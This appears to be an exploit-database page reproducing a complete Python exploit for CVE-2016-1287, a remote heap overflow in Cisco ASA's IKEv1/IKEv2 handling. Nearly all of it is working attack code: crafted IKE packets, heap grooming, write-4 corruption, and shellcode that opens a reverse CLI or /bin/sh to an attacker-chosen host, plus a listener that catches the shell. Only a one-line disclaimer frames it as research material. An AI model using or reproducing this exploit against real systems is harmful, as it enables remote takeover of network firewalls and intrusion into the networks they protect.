Advertisement






Cisco ASA Software 8.x / 9.x - IKEv1 and IKEv2 Buffer Overflow

CVE Category Price Severity
CVE-2016-1287 CWE-119 $50,000 High
Author Risk Exploitation Type Date
Unknown High Remote 2016-05-20
CPE
cpe:cpe:/a:cisco:adaptive_security_appliance_software:8.x
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016050098

Below is a copy:

Cisco ASA Software 8.x / 9.x - IKEv1 and IKEv2 Buffer Overflow#!/usr/bin/env python2.7
 
import socket
import sys
import struct
import string
import random
import time
 
 
 
# Spawns a reverse cisco CLI
cliShellcode = (
    "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
    "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
    "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
    "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
    "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
    "\x00\x00\x00\xef\xcd\x1c\xa1\x55\x31\xed\x31\xff\x4f\xbe\x22\x00"
    "\x00\x00\xba\x07\x00\x00\x00\xb9\x00\x10\x00\x00\x31\xdb\xb8\xc0"
    "\x00\x00\x00\xcd\x80\x5d\x89\xc7\xeb\x26\x5e\xb9\x00\x04\x00\x00"
    "\xf3\xa5\x31\xdb\x6a\x03\x68\x00\x20\x00\x00\x53\x50\x68\xfd\xa8"
    "\xff\x09\xb8\xf0\xb7\x06\x08\xff\xd0\x83\xc4\x14\x61\x31\xc0\xc3"
    "\xe8\xd5\xff\xff\xff\x55\x89\xe5\x81\xec\x10\x04\x00\x00\xe9\xb1"
    "\x00\x00\x00\x58\x89\x85\xfc\xfb\xff\xff\x50\xb8\xf0\x07\x07\x08"
    "\xff\xd0\x83\xc4\x04\x89\x85\xf8\xfb\xff\xff\x89\xc3\x8b\x43\x04"
    "\x68\x80\xee\x36\x00\x68\x1a\x90\x01\x00\x53\xff\x50\x70\xc7\x44"
    "\x24\x04\x20\x90\x01\x00\x8b\x43\x04\xff\x50\x70\xc7\x85\xf4\xfb"
    "\xff\xff\x00\x40\x00\x00\x8d\x8d\xf4\xfb\xff\xff\x89\x4c\x24\x08"
    "\xc7\x44\x24\x04\x21\x90\x01\x00\x89\x1c\x24\x8b\x43\x04\xff\x50"
    "\x70\xbe\xc8\xef\xff\xff\x65\x8b\x06\x89\x98\x98\x00\x00\x00\xeb"
    "\x3a\xb8\x80\x0a\x0f\x08\xff\xd0\x5b\xc7\x43\x0c\xff\xff\xff\x17"
    "\x83\xc3\x14\xc7\x03\x65\x6e\x61\x62\xc7\x43\x04\x6c\x65\x5f\x31"
    "\xc7\x43\x08\x35\x00\x00\x00\x6a\x04\x68\x60\xc1\x52\x0a\xb8\x20"
    "\x68\x0f\x08\xff\xd0\x89\xec\x5d\x31\xc0\xc3\xe8\xc1\xff\xff\xff"
    "\x60\xc1\x52\x0a\xe8\x4a\xff\xff\xfftcp/CONNECT/3/@IP@/@PORT@\x00"
    )
 
# Spawns a reverse "/bin/sh"
shShellcode = (
    "\x60\xc7\x02\x90\x67\xb9\x09\x8b\x45\xf8\x8b\x40\x5c\x8b\x40\x04"
    "\x8b\x40\x08\x8b\x40\x04\x8b\x00\x85\xc0\x74\x3b\x50\x8b\x40\x08"
    "\x8b\x40\x04\x8d\x98\xd8\x00\x00\x00\x58\x81\x3b\xd0\xd4\x00\xe1"
    "\x75\xe4\x83\x7b\x04\x31\x74\xde\x89\xd8\x2d\x00\x01\x00\x00\xc7"
    "\x40\x04\x03\x01\x00\x00\xc7\x40\x0c\xd0\x00\x00\x00\xc7\x80\xf8"
    "\x00\x00\x00\xef\xcd\x1c\xa1\xb8\x40\xbc\x2a\x09\xff\xd0\x61\xb8"
    "\x02\x00\x00\x00\xcd\x80\x85\xc0\x0f\x85\xa1\x01\x00\x00\xba\xed"
    "\x01\x00\x00\xb9\xc2\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x74"
    "\x6d\x70\x8d\x1c\x24\xb8\x05\x00\x00\x00\xcd\x80\x50\xeb\x31\x59"
    "\x8b\x11\x8d\x49\x04\x89\xc3\xb8\x04\x00\x00\x00\xcd\x80\x5b\xb8"
    "\x06\x00\x00\x00\xcd\x80\x8d\x1c\x24\x31\xd2\x52\x53\x8d\x0c\x24"
    "\xb8\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80"
    "\xe8\xca\xff\xff\xff\x46\x01\x00\x00\x7f\x45\x4c\x46\x01\x01\x01"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00\x01\x00\x00"
    "\x00\x54\x80\x04\x08\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    "\x00\x34\x00\x20\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x80\x04\x08\xf2\x00\x00"
    "\x00\xf2\x00\x00\x00\x07\x00\x00\x00\x00\x10\x00\x00\x55\x89\xe5"
    "\x83\xec\x10\x6a\x00\x6a\x01\x6a\x02\x8d\x0c\x24\xbb\x01\x00\x00"
    "\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4\x0c\x89\x45\xfc\x68\x7f"
    "\x00\x00\x01\x68\x02\x00\x04\x38\x8d\x14\x24\x6a\x10\x52\x50\x8d"
    "\x0c\x24\xbb\x03\x00\x00\x00\xb8\x66\x00\x00\x00\xcd\x80\x83\xc4"
    "\x14\x85\xc0\x7d\x18\x6a\x00\x6a\x01\x8d\x1c\x24\x31\xc9\xb8\xa2"
    "\x00\x00\x00\xcd\x80\x83\xc4\x08\xeb\xc4\x8b\x45\xfc\x83\xec\x20"
    "\x8d\x0c\x24\xba\x03\x00\x00\x00\x8b\x5d\xfc\xc7\x01\x05\x01\x00"
    "\x00\xb8\x04\x00\x00\x00\xcd\x80\xba\x04\x00\x00\x00\xb8\x03\x00"
    "\x00\x00\xcd\x80\xc7\x01\x05\x01\x00\x01\xc7\x41\x04\x0a\x64\x00"
    "\x01\x66\xc7\x41\x08\x11\x5c\xba\x0a\x00\x00\x00\xb8\x04\x00\x00"
    "\x00\xcd\x80\xba\x20\x00\x00\x00\xb8\x03\x00\x00\x00\xcd\x80\x83"
    "\xc4\x20\x8b\x5d\xfc\xb9\x02\x00\x00\x00\xb8\x3f\x00\x00\x00\xcd"
    "\x80\x49\x7d\xf6\x31\xd2\x68\x2d\x69\x00\x00\x89\xe7\x68\x2f\x73"
    "\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\x57\x53\x8d\x0c\x24\xb8"
    "\x0b\x00\x00\x00\xcd\x80\x31\xdb\xb8\x01\x00\x00\x00\xcd\x80\x31"
    "\xc0\xc3"
        )
 
 
# SA Session
class Session(object):
    def __init__(self, host_port, id = None):
        if id == None:
            id = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))
 
        self._host, self._port = host_port
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._id = id
        self._mid = 1
 
         
        # Init session
        print("[+] Using session ID: " + self._id)
        self.send(self.make_SA())
 
        # Check if we got something
        res = self.recv()
        cookie = res[8:16]
        print("[+] Cookie: " + cookie)
 
        self._cookie = cookie
 
        # Enforce value of 0x21
        if ord(res[16]) != 0x21:
            raise Exception("Invalid router response")
 
        print("[+] New SA successfuly created.")
 
 
    # UPD socket helpers
    def send(self, buf):
        self._sock.sendto(buf, (self._host, self._port))
 
    def recv(self, size = 4096):
        data, addr = self._sock.recvfrom(size)
        return data
 
    def make_SA(self):
        buf = ""
        buf += self._id                  # Initiator SPI 
        buf += "\x00"*8                  # Responder SPI
        buf += "\x21"                    # next payload (security association)
        buf += "\x20"                    # version
        buf += "\x22"                    # exchange type
        buf += "\x08"                    # flags
        buf += "\x00"*4                  # message ID
        buf += "$$$$"                    # length
 
        # stolen from pcap
        # THIS IS SECURITY ASSOCIATION
        buf += "\x22\x00\x00\x6c\x00\x00\x00\x68\x01\x01\x00\x0b\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x01\x00\x03\x00\x00\x0c\x01\x00\x00\x0c\x80\x0e\x00\x80\x03\x00\x00\x08\x01\x00\x00\x03\x03\x00\x00\x08\x01\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x02\x03\x00\x00\x08\x02\x00\x00\x01\x03\x00\x00\x08\x03\x00\x00\x02\x03\x00\x00\x08\x03\x00\x00\x01\x03\x00\x00\x08\x04\x00\x00\x02\x03\x00\x00\x08\x04\x00\x00\x05\x00\x00\x00\x08\x04\x00\x00\x0e"
 
        # THIS IS KEY EXCHANGE
        # this is the type of the next payload...
        buf += "\x28" # 0x28 = Nonce, 0x2b = vendor ID
        # KEY EXCHANGE DATA
        buf += "\x00\x00\x88\x00\x02\x00\x00\x50\xea\xf4\x54\x1c\x61\x24\x1b\x59\x3f\x48\xcb\x12\x8c\xf1\x7f\x5f\xd4\xd8\xe9\xe2\xfd\x3c\x66\x70\xef\x08\xf6\x56\xcd\x83\x16\x65\xc1\xdf\x1c\x2b\xb1\xc4\x92\xca\xcb\xd2\x68\x83\x8e\x2f\x12\x94\x12\x48\xec\x78\x4b\x5d\xf3\x57\x87\x36\x1b\xba\x5b\x34\x6e\xec\x7e\x39\xc1\xc2\x2d\xf9\x77\xcc\x19\x39\x25\x64\xeb\xb7\x85\x5b\x16\xfc\x2c\x58\x56\x11\xfe\x49\x71\x32\xe9\xe8\x2d\x27\xbe\x78\x71\x97\x7a\x74\x42\x30\x56\x62\xa2\x99\x9c\x56\x0f\xfe\xd0\xa2\xe6\x8f\x72\x5f\xc3\x87\x4c\x7c\x9b\xa9\x80\xf1\x97\x57\x92"
             
        # this is the Nonce payload
        buf += "\x2b"
        buf += "\x00\x00\x18\x97\x40\x6a\x31\x04\x4d\x3f\x7d\xea\x84\x80\xe9\xc8\x41\x5f\x84\x49\xd3\x8c\xee"
        # lets try a vendor id or three
        buf += "\x2b" # next payload, more vendor ID
        buf += "\x00" # critical bit
        vid = "CISCO-DELETE-REASON"
        buf += struct.pack(">H", len(vid)+4)
        buf += vid
 
        # another vendor id
        buf += "\x2b"   # next payload, more vendor ID
        buf += "\x00"   # critical bit
        vid = "CISCO(COPYRIGHT)&Copyright (c) 2009 Cisco Systems, Inc."
        buf += struct.pack(">H", len(vid)+4)
        buf += vid
 
        # another vendor id
        buf += "\x2b"   # next payload, more vid
        buf += "\x00"   # crit
        vid = "CISCO-GRE-MODE"
        buf += struct.pack(">H", len(vid)+4)
        buf += vid
 
        # last vendor id
        buf += "\x00"   # next payload
        buf += "\x00"
        vid = "\x40\x48\xb7\xd5\x6e\xbc\xe8\x85\x25\xe7\xde\x7f\x00\xd6\xc2\xd3"
        buf += struct.pack(">H", len(vid)+4)
        buf += vid
             
        return buf.replace("$$$$", struct.pack(">L", len(buf)))
 
    def make_cisco_fragment(self, flength, seqno, fragid, lastfrag, sploit):
        buf = ''
        buf += self._id               # Initiator SPI (random)
        buf += self._cookie                # Responder SPI
        buf += "\x84"                   # next payload
        buf += "\x20"                   # version
        buf += "\x25"                   # exchange type (2=identify protection)
        buf += "\x08"                   # flags
        buf += "\x00\x00\x00\x01"       # message ID
        buf += "ABCD"                   # length
 
        # PAYLOAD
        payload = ""
        payload += "\x00"               # next payload (none)
        payload += "\x00"               # critical bit
        payload += struct.pack(">H", flength)        #payload_len)  # length
        payload += struct.pack(">H", fragid)        # frag ID
        payload += struct.pack("B", seqno)         # frag sequence
        payload += struct.pack("B", lastfrag)
        payload += sploit
 
        buf += payload
        return buf.replace("ABCD", struct.pack(">L", len(buf)))
 
 
    def send_fragment(self, flength, seqno, fragid, lastfrag, sploit):
        buf = self.make_cisco_fragment(flength, seqno, fragid, lastfrag, sploit)
        self.send(buf)
 
        # We're not supposed to receive anything if everything went
        # according to plan
 
    def make_cisco_option_list(self, opt_lst):
        buf = ''
        buf += self._id               # Initiator SPI (random)
        buf += self._cookie                # Responder SPI
        buf += "\x2f"                   # next payload
        buf += "\x20"                   # version
        buf += "\x25"                   # exchange type (2=identify protection)
        buf += "\x08"                   # flags
        buf += struct.pack(">I", 1)       # message ID
        buf += "ABCD"                   # length
 
        # PAYLOAD
        payload = ""
        payload += "\x00"               # next payload (none)
        payload += "\x00"               # critical bit
        payload += "EF"         #payload_len)  # length
        payload += "\x03"               # CFG_SET
        payload += "\x00\x00\x00"       # Reserved
 
        total = 0x8
        for size, n in opt_lst:
            option  = struct.pack(">H", 0x6000)  #id
            option += struct.pack(">H", size)    # data length
            option += "A" * (size)
 
            total += (size + 4) * n
            payload += option * n
        buf += payload
 
 
        packet = buf.replace("ABCD", struct.pack(">L", len(buf))).replace("EF", struct.pack(">H", total))
 
        return packet
 
 
class Exploit(object):
    def __init__(self, host, revHost, revPort = 4444):
        self._host = host
        self._port = 500
        self._revHost = revHost
        self._revPort = revPort
        self._sessions = []
 
 
    # Create a new SA session
    def create_SA(self, id = None):
 
        # Create a new socket for session
        sess = Session((self._host, self._port), id)
 
        # Append to session list
        self._sessions.append(sess)
 
        return sess
 
 
    # Interact with reverse shell
    def interact(self):
        from telnetlib import Telnet
 
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 
        s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
 
        s.bind((self._revHost, self._revPort))
        s.listen(5)
        cli = s.accept()[0]
        s.close()
        print("[+] Got connect-back")
 
        t = Telnet()
        t.sock = cli
        t.interact()
 
    def buildPayload(self, cli = False):
        if cli == False:
            buf = bytearray(shShellcode)
            # Adjust IP and port
            buf[0x1ad:0x1b1] = socket.inet_aton(self._revHost)
            buf[0x1b5:0x1b7] = struct.pack(">H", self._revPort)
            Shellcode = bytes(buf)
        else:
            Shellcode = cliShellcode.replace("@IP@", self._revHost).replace("@PORT@", str(self._revPort))
 
        return Shellcode
 
 
if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("[+] Usage: {0:s} <cisco IP> <attacker IP>[:port]".format(sys.argv[0]))
        sys.exit(0)
 
    #TODO: Check host
    host = sys.argv[1]
    revHost = sys.argv[2]
 
    # Parse revHost
    port = 4444
    if revHost.rfind(":") != -1:
        revHost, port = revHost.split(":")
        port = int(port)
 
    exploit = Exploit(host, revHost, port)
    sess1 = exploit.create_SA()
    sess2 = exploit.create_SA()
 
    n = 0xd6
    sess2.send_fragment(0x8 + n + 3, 1, 5, 0, "A" * (n + 3))
 
    # Send packets which will trigger the vulnerability
    # Weird packet to get a size of 0x1
    sess2.send_fragment(8 + -7, 0, 6, 1, "A" * (256 - 7))
 
    # This fragment will be the one being copied
    # during the memory corruption
    buf = "A" * (n - 0xd + 0x3)
    buf += struct.pack("<I", 0xef000000)
    buf += struct.pack("<I", 0x00a11ccd) # chunk magics
    buf += struct.pack("<I", 0xe100d4d0)
    buf += struct.pack("B", 0x61)       # set size from 0x31 to 0x61 in order to encompass the
                                        # adjacent chunk on free
    sess2.send_fragment(8 + n + 3, 1, 6, 0, buf)
 
 
    sess1.send_fragment(0x8 + 0xf8, 1, 0xeb, 0, "A" * 0xf8)
    pkt = sess1.make_cisco_option_list((
        (0xd0, 0x30), 
        )
    )
 
    # Defragment heap
    sess1.send(pkt)
    sess1.send(pkt)
    sess1.send(pkt)
 
    # Prepare a fake chunk
    buf  = ""
    buf += struct.pack("<I", 0x60)
    buf += struct.pack("<I", 0x102)
    buf += struct.pack("<I", 0xa11c0123)
    buf += struct.pack("<I", 0xe0)
    buf += "A" * 0xe8
 
    # And allocate it right after a 0x100 bytes hole
    sess1.send_fragment(0x8 + 0xf8, 2, 0xeb, 0, buf)
 
    # Trigger the overflow
    sess2.send_fragment(8 + -7, 3, 6, 1, "A" * (256 - 7))
 
    # Retrieve of fake freed block
    #buf = "\xcc" * (0xd0 - len(buf))
    buf = "\x00" * 0xd0
 
 
    buf += struct.pack("<I", 0xe100d4d0)
    buf += struct.pack("<I", 0x31)
 
    # this is a special writable address in the process
    # it translate into the following executable code:
    # nop / jmp [ecx]
    # since ecx happens to hold a pointer to a controlled buffer
    # the execution flow will be redirected to attacker controlled data
    what = 0xc821ff90
 
    # Just some writable address in the process which doesn't seem to be used
    where = 0xc8002000 - 0x8
 
    buf += struct.pack("<I", what)
    buf += struct.pack("<I", where)
    buf += struct.pack("<I", 0xf3ee0123)
    buf += struct.pack("<I", 0x0) * 5
    buf += struct.pack("<I", 0x5ee33210)
    buf += struct.pack("<I", 0xf3eecdef)
    buf += struct.pack("<I", 0x30)
    buf += struct.pack("<I", 0x132)
    buf += struct.pack("<I", 0xa11c0123)
    buf += struct.pack("<I", 0x100)
    buf += struct.pack("<I", 0x0) * 2
 
    # Second write-4 pointers
    # This is the address of the pointer to the "list_add" function
    # which will give us control of execution flow
    where = 0x0A99B7A4 - 0x10
 
    # This is the address where the opcode sequence "nop / jmp [ecx]" is located
    what = 0xc8002000
 
    buf += struct.pack("<I", what)
    buf += struct.pack("<I", where)
 
    buf += "\x00" * (0x128 - len(buf))
     
    # Try to chain a config list and a fragment packet
    packet = bytearray()
    packet += sess1._id               # Initiator SPI (random)
    packet += sess1._cookie                # Responder SPI
    packet += "\x2f"                   # next payload option list
    packet += "\x20"                   # version
    packet += "\x25"                   # exchange type (2=identify protection)
    packet += "\x08"                   # flags
    packet += struct.pack(">I", 1)       # message ID
    packet += "XXXX"                   # total length including header
 
    payload = bytearray()
    payload += "\x00"               # next payload (frag)
    payload += "\x00"               # critical bit
    payload += "\x00\x00"       # payload length
    payload += "\x03"               # CFG_SET
    payload += "\x00\x00\x00"       # Reserved
 
    size = 0x130
    option  = struct.pack(">H", 0x8400)  #id
    option += struct.pack(">H", size)    # data length
    option += "\x90" * 0x8 + buf
 
    payload += option * 0x10
 
 
    # Update payload length
    payload[2:4] = struct.pack(">H", len(payload))
 
    packet += payload
 
    # Update payload length
    packet[0x18:0x1C] = struct.pack(">I", len(packet))
 
 
    packet = bytes(packet)
 
    # Reallocate the fake freed 0x130 bytes chunk with controlled data
    # this way we can perform a write-4 memory corruption when freeing 
    # the subsequent memory
    sess1.send(packet)
 
    time.sleep(0.2)
    #raw_input()
    packet = bytearray()
    packet += sess1._id               # Initiator SPI (random)
    packet += sess1._cookie                # Responder SPI
    packet += "\x84"                   # next payload option list
    packet += "\x20"                   # version
    packet += "\x25"                   # exchange type (2=identify protection)
    packet += "\x08"                   # flags
    packet += struct.pack(">I", 1)       # message ID
    packet += "XXXX"                   # total length including header
 
    buf = exploit.buildPayload(cli = True) 
    
    flength = len(buf) + 0x8
    fragid = 0xeb
    seqno = 0x5
    lastfrag = 0
    payload = bytearray() 
    # Jump over garbage directly into shellcode (interpreted as jmp +0x6)
    payload += "\xeb"               # next payload (none)
    payload += "\x06"               # critical bit
    payload += struct.pack(">H", flength)        #payload_len)  # length
    payload += struct.pack(">H", fragid)        # frag ID
    payload += struct.pack("B", seqno)         # frag sequence
    payload += struct.pack("B", lastfrag)
    payload += buf
 
    packet += payload
 
    # Update payload length
    packet[0x18:0x1C] = struct.pack(">I", len(packet))
 
 
    packet = bytes(packet)
 
    # Trigger the 2 write-4 and get code execution
    sess1.send(packet)
 
    # Hopefully we'll get something interesting
    exploit.interact()


Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum